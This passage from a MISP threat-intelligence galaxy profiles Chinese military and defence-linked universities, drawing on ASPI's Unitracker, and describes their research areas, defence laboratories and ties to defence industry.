In 2017, NUDT was reformed and placed in charge of the Institute of International Relations in Nanjing, the National Defense Information Institute in Wuhan, the Xi’an Communications College, the Electrical Engineering Institute in Hefei, and the College of Meteorology and Oceanography in Nanjing. The Institute of International Relations in Nanjing is a key training centre for intelligence officers.NUDT is known for its research on supercomputers, autonomous vehicles, hypersonic missiles and China’s Beidou Navigation Satellite System. The university developed the Tianhe-2A supercomputer at the National Supercomputing Center in Guangzhou, the world’s fastest supercomputer from 2013 to 2016. NUDT’s Tianhe-1A supercomputer is based at Hunan University’s National Supercomputing Center Changsha (国家超级计算长沙中心).For over a decade, NUDT has aggressively leveraged overseas expertise and resources to build its capabilities. The Australian Strategic Policy Institute’s International Cyber Policy Centre’s October 2018 report ‘Picking flowers, making honey: The Chinese military’s collaboration with foreign universities’ documented and analysed NUDT’s overseas presence. The report found that by 2013 the university had sent over 1,600 of its professors and students to study and work abroad. Universities in the United States, the United Kingdom, Australia, Canada, Singapore, the Netherlands and Germany engage in some of the highest levels of collaboration with NUDT. Some of NUDT’s leading experts on drone swarms, hypersonic missiles, supercomputers, radars, navigation and quantum physics have been sent to study or work abroad.Defected Chinese spy Wang Liqiang claimed in 2019 that NUDT’s ‘Intelligence Center’ sent him fake passports for his mission to interfere in Taiwanese politics. This indicates that the university plays an important role in supporting China’s overseas intelligence activity.NUDT also works with foreign technology companies. Google and Microsoft have both worked with and trained NUDT scientists.

The tag is: misp-galaxy:china-defence-universities="National University of Defense Technology (中国人民解放军国防科技大学)"

Table 651. Table References
Links
https://unitracker.aspi.org.au/universities/national-university-of-defense-technology

Naval Command College (中国人民解放军海军指挥学院)

The Naval Command College is an institution that provides education and training for naval officers in a variety of disciplines such as military thought, strategic studies, intelligence training and political work along with military operations, tactics and campaigns. The college plays a crucial role in improving the quality of PLA Navy personnel, as well as providing combined arms training for mid-career political commissars, logistics officers and equipment officers. The college serves to improve strategic and tactical thinking in the PLA Navy by hosting the Naval Campaigns and Tactics Center Laboratory (海军战役战术中心实验室) and producing research that looks at operationalising new training and command systems. It is the PLA-N’s last remaining command academic institution.

The tag is: misp-galaxy:china-defence-universities="Naval Command College (中国人民解放军海军指挥学院)"

Table 652. Table References
Links
https://unitracker.aspi.org.au/universities/naval-command-college

Naval Petty Officer Academy (中国人民解放军海军士官学校)

The academy has three main departments focused on training, campus affairs and political work. It has published research on radar jamming.

The tag is: misp-galaxy:china-defence-universities="Naval Petty Officer Academy (中国人民解放军海军士官学校)"

Table 653. Table References
Links
https://unitracker.aspi.org.au/universities/naval-petty-officer-academy

Naval Research Academy (中国人民解放军海军研究院)

The Naval Research Academy was established in July 2017 following Xi Jinping’s military reforms. Main areas of study include military theory and technological research as well as the maritime environment and national defence engineering.The Naval Research Academy actively collaborates with civilian universities as part of China’s military-civil fusion program. In April 2019, delegates from the Naval Research Academy attended a meeting with officials from Xi’an Jiaotong University on co-operation directed at improving the quality assurance and technological reliability of complex armaments currently in service in the PLA Navy. Major General Li Wei from the Naval Research Academy stated that his colleagues were paying ‘very close attention to this co-operation with Xi’an Jiaotong University’ in the development and sustainment of naval equipment.The Naval Research Academy also collaborates with civilian research institutes. For example, the Institute for Industrial Military-Civil Fusion at the Research Institute of Machinery Industry Economic and Management claims to have worked with the Naval Research Academy and a number of state-owned enterprises that focus on defence technology such as China Shipbuilding Industry Corporation (CSIC) in order to develop strategies for military-civil fusion.The Naval Research Academy’s involvement in military-civil fusion is particularly notable for work on maritime information technology and equipment. In January 2019, delegates from the Naval Research Academy attended a conference hosted by the National Key Laboratory of Underwater Acoustic Science and Technology (水声技术国防科技重点实验室) and the Key Laboratory of Marine Information Acquisition and Security Industry and Information Technology (海洋信息获取与安全工业和信息化部重点实验室) of Harbin Engineering University (HEU). The Naval Research Academy’s Liu Qingyu (刘清宇) was reported to have made a presentation on international and domestic developments in marine sonar technology at the conference.Liu Qingyu from the Naval Research Academy has a particularly strong record of engagement with civilian and military institutions for his research into marine sonar technology. In 2018, Liu delivered a presentation to the Northwestern Polytechnical University (NPU) which ‘elaborated on some of the problems facing the national costal defence industry’ and ‘suggested areas for future research into marine acoustics.’ Both students and academics from NPU attended Liu’s presentation. Liu has also published papers on acoustic science with scholars from the Chinese Academy of Sciences, the Naval University of Engineering, and Northwestern Polytechnical University.

The tag is: misp-galaxy:china-defence-universities="Naval Research Academy (中国人民解放军海军研究院)"

Table 654. Table References
Links
https://unitracker.aspi.org.au/universities/naval-research-academy

Naval University of Engineering (中国人民解放军海军工程大学)

NUE is one of the PLA’s five comprehensive universities, which trains students in a variety of engineering and core military disciplines related to naval warfare.The university is home two national laboratories. The National Key Laboratory for Vessel Integrated Power System Technology (舰船综合电力技术国防科技重点实验室), which was established in 2010 to carry out ‘indigenous research and development’ into integrated electric propulsion (IEP) systems that power naval vessels at sea. IEP generally uses diesel generators and/or gas turbines to generate the electricity needed in order to turn propellers on large surface vessels such as guided missile destroyers or amphibious assault ships. The lab is jointly run by NUE and China Shipbuilding Industry Corporation’s (CSIC) 712th Research Institute.Rear Admiral Ma Weiming has led the National Key Laboratory for Vessel Integrated Power System Technology to develop propulsion systems for aircraft catapults, electromagnetic weapons and satellite launches. Admiral Ma has been referred to as ‘the father of China’s electromagnetic catapult system’ (中国电磁弹射之父) by official Chinese media sources.NUE’s National Defense Technology Key Laboratory of Marine Vibration and Noise (船舶振动噪声国防科技重点实验室) works on acoustic quieting technology for submarines. The lab is probably jointly run with CSIC’s 701st Research Institute, also known as China Ship Development and Design Center (中国舰船研究设计中心).Another laboratory that conducts defence research at NUE is the Nuclear Marine Propulsion Engineering Military Key Laboratory (舰船核动力工程军队重点实验室). The lab focuses on researching and training engineers in nuclear engineering for warships and submarines.Academic departments at the Naval University of Engineering include:

The tag is: misp-galaxy:china-defence-universities="Naval University of Engineering (中国人民解放军海军工程大学)"

Table 655. Table References
Links
https://unitracker.aspi.org.au/universities/naval-university-of-engineering

Navy Aviation University (中国人民解放军海军航空大学)

The Navy Aviation University was established upon the merger of the Naval Aviation Pilot Academy and the Naval Aviation Engineering University during Xi Jinping’s military reforms in 2017. The university conducts research into missile engineering, electrical engineering and automation, navigation engineering as well as air station management engineering and flight vehicle design engineering. Academic articles published by the university have looked at topics such as the PLA-N’s combat system capability and naval aviation management systems.

The tag is: misp-galaxy:china-defence-universities="Navy Aviation University (中国人民解放军海军航空大学)"

Table 656. Table References
Links
https://unitracker.aspi.org.au/universities/navy-aviation-university

Navy Logistics Academy (中国人民解放军海军勤务学院)

The Navy Logistics Academy is an institution devoted to training naval cadets and officers specialising in logistics. The academy’s core training and research focuses on military studies, management science and economics, while specialist lines of research include logistics command management and military financial auditing. The Center for Naval Analyses (CNA) in Arlington, Virginia have noted that entry into the academy tends to occur at the mid-career level for officers in the PLA-N.

The tag is: misp-galaxy:china-defence-universities="Navy Logistics Academy (中国人民解放军海军勤务学院)"

Table 657. Table References
Links
https://unitracker.aspi.org.au/universities/navy-logistics-academy

Navy Medical University (中国人民解放军海军军医大学)

The PLA Navy Medical University, formerly known as the Second Military Medical University, was established in 1951 as a university focussed on medical research for the Chinese military.

The tag is: misp-galaxy:china-defence-universities="Navy Medical University (中国人民解放军海军军医大学)"

Table 658. Table References
Links
https://unitracker.aspi.org.au/universities/navy-medical-university

Navy Submarine Academy (中国人民解放军海军潜艇学院)

The Navy Submarine Academy is responsible for the training of submariners to crew its conventionally and nuclear-powered submarines. The academy focuses its research on subjects such as electrical and information engineering, combat simulation, underwater acoustic engineering and navigation technology along with weapons systems and launch engineering and underwater ordnance technology. The academy also offers programs in combat tactics and the underwater combat environment.The Navy Submarine Academy pursues research that may contribute to Chinese anti-submarine warfare capabilities through the Underwater Operational Environment Military Key Laboratory (水下作战环境军队重点实验室). The academy also oversees part of the The publication record of researchers from the Navy Submarine Academy also suggests a strong interest in foreign developments in undersea warfare systems. In 2018, the Navy Submarine Academy signed a cooperative agreement with Harbin Engineering University (HEU). The agreement is directed at promoting research collaboration in subjects such as big data fusion, intelligent navigation, underwater acoustic target recognition, and underwater unmanned intelligent control systems.

The tag is: misp-galaxy:china-defence-universities="Navy Submarine Academy (中国人民解放军海军潜艇学院)"

Table 659. Table References
Links
https://unitracker.aspi.org.au/universities/navy-submarine-academy

North China Institute of Aerospace Engineering (北华航天工业学院)

NCIAE specialises aerospace technology and engineering. The university is primarily run by the Hebei Provincial Government, together with the State Administration of Science, Technology and Industry for National Defense, China Aerospace Science and Technology Corporation (CASC), and China Aerospace Science and Industry Corporation (CASIC).NCIAE appears to be a major training center for CASC and CASIC, state-owned defence conglomerates that dominate China’s missile and satellite sector. NCIAE runs at least two research and development centres with CASC and was involved in the development of the Shenzhou spacecraft, Long March rockets and the DFH-5 satellite platform.In 2003, the Hebei Provincial Government, CASC and CASIC signed an agreement to jointly support NCIAE (pictured below, courtesy of NCIAE).

The tag is: misp-galaxy:china-defence-universities="North China Institute of Aerospace Engineering (北华航天工业学院)"

Table 660. Table References
Links
https://unitracker.aspi.org.au/universities/north-china-institute-of-aerospace-engineering

North China University of Science and Technology (华北理工大学)

NCST was founded in 2010 and focuses on metallurgy and materials science. The university engages in growing levels of defence research since coming under the supervision of defence industry agency SASTIND in 2013.‘Military-use critical materials’ has been designated as a key defence research area at NCST.

The tag is: misp-galaxy:china-defence-universities="North China University of Science and Technology (华北理工大学)"

Table 661. Table References
Links
https://unitracker.aspi.org.au/universities/north-china-university-of-science-and-technology

North University of China (中北大学)

NUC is a civilian university that specailises in defence research. It is jointly administered by the Shanxi Provincial Government and defence industry agency SASTIND. The university traces its roots back to an ordnance school established by the Eighth Route Army in 1941, and defence research is central to its identity. According to NUC’s website, ‘Our university has long established excellent and cooperative relationships with Central Military Commission departments, SASTIND, Norinco Group, China South Industries Group, China Aerospace Science and Technology Group, China Aerospace Science and Industry Group, and our graduates are spread across different areas in defence industry.’ Approximately 2000 of its graduates enter the defence industry each year.NUC specialises in testing and developing weapons, including tanks, missiles and explosives. Its Underground Target Damage Technology National Defense Key Subject Laboratory reportedly runs the only underground shooting range in a Chinese university. The university is a member of the B8 Cooperation Innovation Alliance (B8协同创新联盟 or 中国兵器协同创新联盟), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器).

The tag is: misp-galaxy:china-defence-universities="North University of China (中北大学)"

Table 662. Table References
Links
https://unitracker.aspi.org.au/universities/north-university-of-china

Northeastern University (东北大学)

NEU is a major civilian university subordinate to the Ministry of Education. The university hosts three national laboratories, all of which are related to industrial manufacturing technology.NEU engages in growing levels of defence research. It holds secret-level security credentials allowing it to participate in classified weapons projects and hosts the defence-focused Key Laboratory of Aerodynamic Equipment Vibration and Control. In 2018, NEU was approved to build a further five laboratories that could be involved in future defence or security-related research.In 2019, NEU joined the Shenyang Aircraft Design Institute Collaborative Innovation Alliance (沈阳飞机设计研究所协同创新联盟), a group of universities and institutes, led by defence conglomerate AVIC, that are involved in the development of military aircraft. NEU also runs a National Defense Science and Technology Development Research Institute (国防科技发展研究院). In 2019, the institute’s senior deputy director was awarded a China Industry-University-Research Cooperation Military-Civil Fusion Prize.

The tag is: misp-galaxy:china-defence-universities="Northeastern University (东北大学)"

Table 663. Table References
Links
https://unitracker.aspi.org.au/universities/northeastern-university

Northwest Institute of Nuclear Technology (西北核技术研究所)

NINT is one of China’s main sites of nuclear technology research. While the Chinese Academy of Engineering Physics is believed to be China’s only manufacturer of nuclear warheads, NINT likely plays a supporting role in research for nuclear weapons. It is especially active in research on lasers, which can be used in nuclear fusion reactors or weapons. Aside from nuclear technology, NINT carries out research on topics including electronics, information science, materials science, control science and chemistry.NINT has partnerships with several institutes in the Chinese Academy of Sciences, Xiangtan University, Northwestern Polytechnical University, and Xi’an Jiaotong University.

The tag is: misp-galaxy:china-defence-universities="Northwest Institute of Nuclear Technology (西北核技术研究所)"

Table 664. Table References
Links
https://unitracker.aspi.org.au/universities/northwest-institute-of-nuclear-technology

Northwestern Polytechnical University (西北工业大学)

The university is one of the ‘Seven Sons of National Defence’ subordinate to MIIT. It is heavily engaged in military research, describing itself as ‘devoted to improving and serving the national defence science and technology industry.’ NWPU’s research focuses on aviation, space and naval technology. Between 2014 and 2018, the university’s School of Mechanics, Civil Engineering and Architecture alone spent nearly RMB200 million (AUD40 million) on defence research projects. 41.25% of 2017 NWPU graduates who gained employment were working in the defence sector.NWPU is known for its development of unmanned aerial vehicles (UAVs). The only Chinese university hosting a UAV defence laboratory, NWPU produces the ASN series of UAVs though its subsidiary company, Aisheng Technology Group Co., Ltd. The Chinese military is the company’s largest customer and the company once claimed to produce 90% of China’s drones.The university has close ties to state-owned shipbuilding and aerospace conglomerates.

The tag is: misp-galaxy:china-defence-universities="Northwestern Polytechnical University (西北工业大学)"

Table 665. Table References
Links
https://unitracker.aspi.org.au/universities/northwestern-polytechnical-university

Officers College of the PAP (中国人民武装警察部队警官学院)

The Officers College of the PAP was established as an institution devoted to training officers of China’s paramilitary service in command and engineering disciplines. The college’s research focusses on combat command, command information systems engineering, philosophy, law, political education, Chinese language and literature, history, mathematics, physics, applied psychology, electrical science and technology, computer science and technology, and management science and engineering.The Officers College of the PAP is especially active in developing drone technology. On 26 June 2019, the college tested its X-Swift unmanned aerial vehicles (UAV) for a test surveillance and reconnaissance flight with special operations personnel in Sichuan.The college is also active in developing applications for drone technology. Researchers from the college have collaborated with personnel from the PLA Logistics Engineering University to publish an article in favour of deploying UAVs to southern Xinjiang for counter-terrorism missions. The researchers argue for UAVs to be deployed for regional surveillance and strike as well as search and seizure missions in Xinjiang, drawing off lessons from the US coalition against ISIS.

The tag is: misp-galaxy:china-defence-universities="Officers College of the PAP (中国人民武装警察部队警官学院)"

Table 666. Table References
Links
https://unitracker.aspi.org.au/universities/officers-college-of-the-pap

PAP NCO College (中国人民武装警察部队士官学校)

The PAP NCO College was established in 2017 following Xi Jinping’s reforms to China’s military education system. The college does not appear to engage in significant levels of defence research and focuses its attention on training enlisted personnel in China’s paramilitary service, the People’s Armed Police.

The tag is: misp-galaxy:china-defence-universities="PAP NCO College (中国人民武装警察部队士官学校)"

Table 667. Table References
Links
https://unitracker.aspi.org.au/universities/pap-nco-college

Peking University (北京大学)

PKU is considered among China’s most prestigious universities with a storied history. It is ranked as one of China’s top two academic institutions, along with Tsinghua University. Unsurprisingly, the university has been included in a number of the PRC’s educational initiatives, including as a Class A institution under the Double First-Class University program.PKU has been subject to at least two joint-supervision agreements between the Ministry of Education and defence industry agency SASTIND. These agreements, signed in 2012 and 2016, are designed to deepen the university’s involvement in defence research.PKU’s Advanced Technology Institute was founded in 2006 to oversee and develop the university’s defence research. Includes several research centres and supervises the university’s four major defence laboratories. The institute’s research covers semiconductors, nuclear technology, quantum physics, advanced materials, underwater acoustics, satellite navigation and communications, flight propulsion, aerospace engineering and microprocessors.In 2017, PKU and the Chinese Academy of Engineering Physics (CAEP)—China’s nuclear weapons program—established the PKU–CAEP New Structure Center for Applied Physics and Technology (北京大学-中国工程物理研究院新体制应用物理与技术研究中心).. The institution was founded on the basis of the PKU Center for Applied Physics and Technology (北京大学应用物理与技术研究中心) established with CAEP in 2007. The joint centre carries out research on materials, lasers for atomic physics applications, laser plasma physics, computer science and fluid dynamics. PKU’s report on the centre notes that it will serve China’s national defence needs and that CAEP’s deputy director emphasised it should ‘take the path of military-civil fusion’. The joint centre’s honorary director and founding director, He Xiantu, is credited as the developer of China’s first neutron bomb.PKU takes precautions for the protection of classified information. The university has an office devoted to the secure handling of classified information, hosting regular meetings and training sessions to strengthen the university’s security culture. In 2006, the university received security credentials for participation in classified defence research.

The tag is: misp-galaxy:china-defence-universities="Peking University (北京大学)"

Table 668. Table References
Links
https://unitracker.aspi.org.au/universities/peking-university

People’s Armed Police Command College (中国人民武装警察指挥学院)

The PAP Command College is an institution devoted to training officers in China’s paramilitary service, the People’s Armed Police, that was established in 1984. The college’s key subjects focus on law, engineering, military studies and management studies, but most attention is devoted to paramilitary training and political work. The PAP Command College maintains a focus on paramilitary training, but it does retain a scientific research program.Drone technology is another area of interest for the PAP Command College. The college was involved in testing the X-Swift unmanned aerial vehicle (UAV) in June 2019. Kang Jian from the college’s Scientific Research Department also attended the 2017 Drone World Congress hosted in Shenzhen.

The tag is: misp-galaxy:china-defence-universities="People’s Armed Police Command College (中国人民武装警察指挥学院)"

Table 669. Table References
Links
https://unitracker.aspi.org.au/universities/peoples-armed-police-command-college

People’s Public Security University of China (中国人民公安大学)

PPSUC was founded in July 1948. In 1984, it was developed into a full-time higher education institution with master’s and bachelor’s degree programs. In 1998, it was merged with the Chinese People’s Police University (中国人民警官大学). Its schools include a Marxism School, Law School, Law and Order School, Investigation and Anti-Terrorism School, Criminology School, Pubic Security Management School, International Policing and Law Enforcement School, Police Training College (which covers combat training and command and tactical training), Criminal Science and Technology School, Information Technology and Network Security School, and a Traffic Management School.PPSUC is involved in the development of technological tools for public security applications, including image recognition. For instance, the university signed an agreement with Chinese video surveillance equipment manufacturer Hikvision in 2016 to set up a joint laboratory on video image recognition technology. In 2018, it signed a strategic cooperation agreement with Xiamen Meiya Pico Information Co., a Chinese company that provides digital forensics and information security products, which included upgrading a forensics laboratory and establishing a cyber security attack and defence laboratory.The university also has cooperation agreements with numerous local government-level public security bureaus across the PRC. These include agreements on image recognition technology for local public security bureaus and joint laboratories. For instance, in 2018 alongside the Nanshan sub-bureau of Shenzhen Public Security Bureau and the artificial intelligence companies SenseTime and Shenzhen Yuantian Lifei, it signed a strategic cooperation agreement on applying video recognition and the establishment of a joint laboratory.

The tag is: misp-galaxy:china-defence-universities="People’s Public Security University of China (中国人民公安大学)"

Table 670. Table References
Links
https://unitracker.aspi.org.au/universities/peoples-public-security-university-of-china

Railway Police College (铁道警察学院)

The Railway Police College is China’s only institution of higher learning devoted to training specialists responsible for securing the Chinese railway network. In 2017, the college graduated over 1,000 personnel trained in disciplines such as surveillance studies, political security studies and safety management studies.

The tag is: misp-galaxy:china-defence-universities="Railway Police College (铁道警察学院)"

Table 671. Table References
Links
https://unitracker.aspi.org.au/universities/railway-police-college

Renmin University (人民大学)

Renmin University is subordinate to the Ministry of Education and also supported by the Beijing Municipal Government. Its focus is in the humanities and social sciences. Although the university does not appear to have ties with the national defense industry, it was placed on the US Government’s Unverified List in April 2019, which places restrictions on US exports to the university. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

The tag is: misp-galaxy:china-defence-universities="Renmin University (人民大学)"

Table 672. Table References
Links
https://unitracker.aspi.org.au/universities/renmin-university

Rocket Force Command College (中国人民解放军火箭指挥学院)

The Rocket Force Command College is the PLA’s premier institute devoted to training cadets and early-to-mid career officers in conventional and nuclear missile campaigns. Candidates require understanding of battlefield command, management and campaign tactics prior to entry into the college. The college then builds on this knowledge by providing specialist training for missile campaigns.

The tag is: misp-galaxy:china-defence-universities="Rocket Force Command College (中国人民解放军火箭指挥学院)"

Table 673. Table References
Links
https://unitracker.aspi.org.au/universities/rocket-force-command-college

Rocket Force Research Institute (中国人民解放军火箭军研究院)

The Rocket Force Research Institute develops nuclear and conventional ballistic missiles, carrying out research on warhead, guidance and control technology. It appears to be the successor to the PLA Second Artillery Equipment Academy (火箭军装备研究院) and the Rocket Force Equipment Academy (火箭军装备研究院). The institute reportedly hosts two national-level defence laboratories. It also has a strategic cooperation agreement with Beijing Institute of Technology, which hosts two state key laboratories that study impacts and explosions.

The tag is: misp-galaxy:china-defence-universities="Rocket Force Research Institute (中国人民解放军火箭军研究院)"

Table 674. Table References
Links
https://unitracker.aspi.org.au/universities/rocket-force-research-institute

Rocket Force Sergeant School (中国人民解放军火箭军士官学校)

The Rocket Force Officer College is an institution devoted to training military personnel for China’s tactical and strategic missile forces that was established after Xi Jinping’s military reforms in 2017. The college’s focus is on providing technical training to personnel in the PLARF’s missile systems. However, the college has also produced research on underground engineering which would be useful to hardening bases for missile strikes.

The tag is: misp-galaxy:china-defence-universities="Rocket Force Sergeant School (中国人民解放军火箭军士官学校)"

Table 675. Table References
Links
https://unitracker.aspi.org.au/universities/rocket-force-sergeant-school

Rocket Force University of Engineering (中国人民解放军火箭军工程大学)

RFUE is the PLA strategic missile force’s leading institution for training technical and scientific talent. Students entering the university tend to be university graduates and career members of the PLA Rocket Force.Defence research conducted by the RFUE focuses on building resilience and capabilities for conventional and nuclear missile strikes. RFUE hosts the Missile Testing and Control Virtual Simulation Experimental Teaching Center (导弹测试与控制虚拟仿真实验教学中心).The university’s key areas of research include:

The tag is: misp-galaxy:china-defence-universities="Rocket Force University of Engineering (中国人民解放军火箭军工程大学)"

Table 676. Table References
Links
https://unitracker.aspi.org.au/universities/rocket-force-university-of-engineering

Shandong University (山东大学)

SDU is subordinate to the Ministry of Education. Since 2016, it has also been supervised by defence industry agency SASTIND as part of a program to expand universities’ involvement in defence research and training.SDU has pursued greater involvement in defence research since at least 2006, when it established a national defence research institute to coordinate relevant work across the university. Shortly afterwards, it received secret-level security credentials allowing it to participate and research and production for classified weapons and defence technology projects. In 2008, it was recognised as one of Shandong Province’s 10 outstanding defence industry units.SDU collaborates with the Chinese Academy of Engineering Physics, China’s nuclear warheads development facility, on topics including the development of crystals that are used in the study of nuclear explosions and research on fusion ignition.

The tag is: misp-galaxy:china-defence-universities="Shandong University (山东大学)"

Table 677. Table References
Links
https://unitracker.aspi.org.au/universities/shandong-university

Shandong University of Technology (山东理工大学)

SDUT specialises in engineering and carries out growing levels of defence research. In 2018, SDUT became the only university in Shandong Province jointly supervised by defence industry agency SASTIND besides Shandong University. This indicates that SDUT’s involvement in defence research and links to the defence industry will grow in coming years.SASTIND has specifically indicated its intention to build up advanced materials and advanced manufacturing technology as areas of defence research at SDUT. SDUT has carried out research on mechatronic engineering for the defence industry, and developed a non-destructive testing system for ceramic antenna covers on missiles.

The tag is: misp-galaxy:china-defence-universities="Shandong University of Technology (山东理工大学)"

Table 678. Table References
Links
https://unitracker.aspi.org.au/universities/shandong-university-of-technology

Shanghai Jiao Tong University (上海交通大学)

SJTU is directly under the administration of the MOE. In 2016 it also came under the supervision of defence industry agency SASTIND as part of a ‘joint construction’ agreement between the MOE and SASTIND.The university has at least three laboratories focused on defense research relating to materials science, ships and hydrodynamics. The defence labs have established substantial collaborative research and talent development relationships with hydrodynamics research groups at universities including MIT, Cornell, and the Danish Technical University.One of the university’s strongest departments is computer science. Its computer science program has garnered support from American tech companies such as Cisco Systems and Microsoft, which collaborated on establishing a laboratory for intelligent computing and intelligent systems at the university. In particular, the School of Information Security Engineering, has ties to the PLA through its dean and chief professor who both previously worked for the PLA. SJTU also has ties to the PLA Unit 61398, a cyber espionage unit that has been implicated in cyber attacks on the United States.SJTU is also known for its involvement in maritime research. The School of Naval Architecture, Ocean & Civil Engineering cooperates extensively with other universities from around the world as well as with many domestic industrial enterprises, such as defence conglomerate CSIC and CASC. The school is the lead unit of the High-tech Ship and Deep-Sea Development Equipment Collaborative Innovation Center (高新船舶与深海开发装备协同创新中心), where it has contributed to assisting the PLA Navy’s transition to offshore defense operations.

The tag is: misp-galaxy:china-defence-universities="Shanghai Jiao Tong University (上海交通大学)"

Table 679. Table References
Links
https://unitracker.aspi.org.au/universities/shanghai-jiaotong-university

Shanghai University (上海大学)

SHU is engaged in growing levels of defence research. In 2016, the Shanghai Municipal Government and defence industry agency SASTIND agreed to jointly supervise and support its participation in defence research.Shanghai University has begun building up its capability in defence research in areas such as unmanned surface vehicles, materials for missiles, and microwave technology. It holds secret-level security credentials, allowing it to participate in classified defence technology projects.Shanghai University’s Research Institute of Unmanned Surface Vehicle Engineering researches and produces unmanned surface vessels, some of which are for the China Maritime Safety Administration.

The tag is: misp-galaxy:china-defence-universities="Shanghai University (上海大学)"

Table 680. Table References
Links
https://unitracker.aspi.org.au/universities/shanghai-university

Shenyang Aerospace University (沈阳航空航天大学)

SAU is the only university formally under the supervision of China’s military aircraft manufacturer, AVIC. SAU engages in high levels of defence research and describes itself as a base for training talent in national defence science and technology. Serving China’s military aviation industry is what SAU refers to as its ‘glorious tradition’.Many of China’s military aircraft are designed and built in Shenyang, which is home to AVIC subsidiaries Shenyang Aircraft Design Institute and Shenyang Aircraft Corporation. SAU and AVIC work closely together, including through a joint research institute.

The tag is: misp-galaxy:china-defence-universities="Shenyang Aerospace University (沈阳航空航天大学)"

Table 681. Table References
Links
https://unitracker.aspi.org.au/universities/shenyang-aerospace-university

Shenyang Ligong University (沈阳理工大学)

SYLU is a civilian university that specialises in defence research. The university’s primary areas of defence research are armament science, information and communications engineering, control science, materials science and mechanical engineering. Apart from Xi’an Technological University, SYLU is the only Chinese civilian university supervised by state-owned arms manufacturers Norinco Group and China South Industries Group. In 2016, it also came under the supervision of defence industry agency SASTIND.SYLU is a member of the B8 Cooperation Innovation Alliance (B8协同创新联盟 or 中国兵器协同创新联盟), a group of eight Chinese research institutions that specialize in armament science—the ‘B’ in ‘B8’ stands for the Chinese word for armaments, bingqi (兵器). The university runs a weapons museum on its campus. Furthermore, SYLU is a member of the Liaoning Military-Civil Fusion Arms Industry-College Alliance (辽宁军民融合（兵工）产业校企联盟) and SYLU’s president doubles as chairman of the alliance. This indicates close ties between SYLU and China’s arms industry.

The tag is: misp-galaxy:china-defence-universities="Shenyang Ligong University (沈阳理工大学)"

Table 682. Table References
Links
https://unitracker.aspi.org.au/universities/shenyang-ligong-university

Shenzhen University (深圳大学)

SZU is the primary university in China’s rapidly growing technology hub, Shenzhen. The university does not appear to engage in high levels of defence research outside of its national defence laboratory on automatic target recognition. The laboratory was founded in 2001, is overseen by the PLA and SASTIND, and is headed by the university’s former president.

The tag is: misp-galaxy:china-defence-universities="Shenzhen University (深圳大学)"

Table 683. Table References
Links
https://unitracker.aspi.org.au/universities/shenzhen-university

Shijiazhuang Tiedao University (石家庄铁道大学)

STDU specializes in transportation science, engineering and information technology. Its predecessor was the PLA Railway Engineering College.Since 2013, STDU has also been supervised by defence industry agency SASTIND through an arrangement designed to expand the university’s involvement in defense-related research and training. STDU has secret-level security credentials, allowing it to participate in classified defense technology research.STDU is home to the National Defense Transportation Research Institute (国防交通研究所), which is the only civilian university research institute that specializes in national defense transportation research. STDU is also home to the Institute of Complex Networks and Visualisations (复杂网络与可视化研究所), which develops military-use information processing software including remote-control systems for aerospace applications.

The tag is: misp-galaxy:china-defence-universities="Shijiazhuang Tiedao University (石家庄铁道大学)"

Table 684. Table References
Links
https://unitracker.aspi.org.au/universities/shijiazhuang-tiedao-university

Sichuan University (四川大学)

Sichuan University (SCU) is a leading Chinese university subordinate to the Ministry of Education. In 2011 and again in 2016 SCU was the subject of joint construction agreements between the MOE and defence industry agency SASTIND designed to increase its involvement in defence research.The university hosts at least three laboratories that focus on defence research and has a close relationship with the Chinese Academy of Engineering Physics (CAEP), the PRC’s primary nuclear warheads research facility. SCU’s Institute of Atomic and Molecular Physics and CAEP jointly established the Institute of Atomic and Molecular Engineering and the Institute of High Temperature and High Pressure Physics. In 2012, SCU was added to the US BIS Entity List as an alias of CAEP, implying that it acts as a proxy for the facility.A 2011 study by American think tank Project 2049 concluded that a PLA signals intelligence unit ‘likely maintain a close, mutually supportive relationship with related organizations in Chengdu, such as Sichuan University’s Information Security and Network Attack and Defense Laboratory (四川大学信息安全及网络攻防研究室).’

The tag is: misp-galaxy:china-defence-universities="Sichuan University (四川大学)"

Table 685. Table References
Links
https://unitracker.aspi.org.au/universities/sichuan-university

Soochow University (苏州大学)

Soochow University has been jointly supervised by the Jiangsu Provincial Government and defence industry agency SASTIND since 2016. This arrangement is designed to expand the university’s involvement in defense-related research and training.The university has five designated defence disciplines, centred around research on radiation. In particular, its School of Radiation Medicine and Protection has strong defence links, as it has become a major teaching and research base for the nuclear industry.Suzhou University is also involved in promoting military-civil fusion. The university cooperated with Changfeng Science Technology Industry Group (a subsidiary of missile manufacturer CASC) and Suzhou Xinkuan Electronic Technology Co., Ltd. to jointly establish the ‘Suzhou University Military-Civil Fusion Internet of Things Collaborative Innovation Center.’

The tag is: misp-galaxy:china-defence-universities="Soochow University (苏州大学)"

Table 686. Table References
Links
https://unitracker.aspi.org.au/universities/soochow-university

South China University of Technology (华南理工大学)

SCUT is subordinate to the Ministry of Education and in 2018 was placed under a joint-construction agreement between the MOE and SASTIND. This arrangement is designed to develop the university’s involvement in defence-related research and training. SCUT also holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects. As a result of the university’s placement under joint construction and its secret-level security credentials, SCUT’s involvement in defence research is likely to grow in coming years.Since 2008, the university has hosted a defence research laboratory on materials science. The lab was initially run by the university’s president. In 2017, the university joined the Guangzhou Civil-Military Integration Industry Coalition. More recently in 2019, SCUT and iFlytek established an artificial intelligence company, Guangzhou Huanan Naokong Zhineng Keji Gongsi (广州华南脑控智能科技公司).

The tag is: misp-galaxy:china-defence-universities="South China University of Technology (华南理工大学)"

Table 687. Table References
Links
https://unitracker.aspi.org.au/universities/south-china-university-of-technology

Southeast University (东南大学)

